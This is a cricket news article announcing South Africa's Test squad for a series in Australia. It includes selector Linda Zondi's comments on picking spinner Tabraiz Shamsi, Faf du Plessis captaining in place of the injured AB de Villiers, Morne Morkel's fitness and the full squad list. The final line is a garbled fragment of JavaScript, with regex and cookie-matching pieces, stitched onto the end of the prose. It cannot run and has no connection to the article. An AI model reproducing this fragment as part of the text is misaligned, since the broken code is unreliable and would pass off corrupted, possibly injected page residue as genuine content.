South Africa has named its squad for the upcoming Test series on Australian soil, beginning on November 3.
Fiery spinner Tabraiz Shamsi, who clashed with Australian wicketkeeper Matthew Wade during the fourth ODI, is set to renew hostilities with the Aussies, after being named in the side for his Test debut.
Shamsi has taken 275 wickets in 76 first-class matches at an average 26.55.
“We are following a horses for courses policy as we feel that spinners who turn the ball away from the right-hander are going to be particularly useful under Australian conditions and against the Test batsmen we are likely to face,” South Africa selection convener Linda Zondi said.
“Shamsi has made huge progress over the course of the last year in the longer format.
“He took 41 wickets at an average of less than 20 in seven matches in last season's (domestic) Sunfoil Series and he certainly offers something different as an attacking spinner.
“Maharaj is also right on top of his game. He took 13 wickets in the Sunfoil Series match at the weekend and also made a run-a-ball 72.”
Skipper AB de Villiers will miss the series due to an elbow injury, with Faf du Plessis set to captain the side in his absence.
Meanwhile, paceman Morne Morkel will have to prove his fitness, after missing the Proteas' recent Test series against the Black Caps.
South Africa: Faf du Plessis (capt), Kyle Abbott, Hashim Amla, Temba Bavuma, Stephen Cook, Quinton de Kock, JP Duminy, Dean Elgar, Keshav Maharaj, Morne Morkel, Vernon Philander, Kagiso Rabada, Rilee Rossouw, Tabraiz Shamsi, Dale Steyn, Dane Vilas. "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
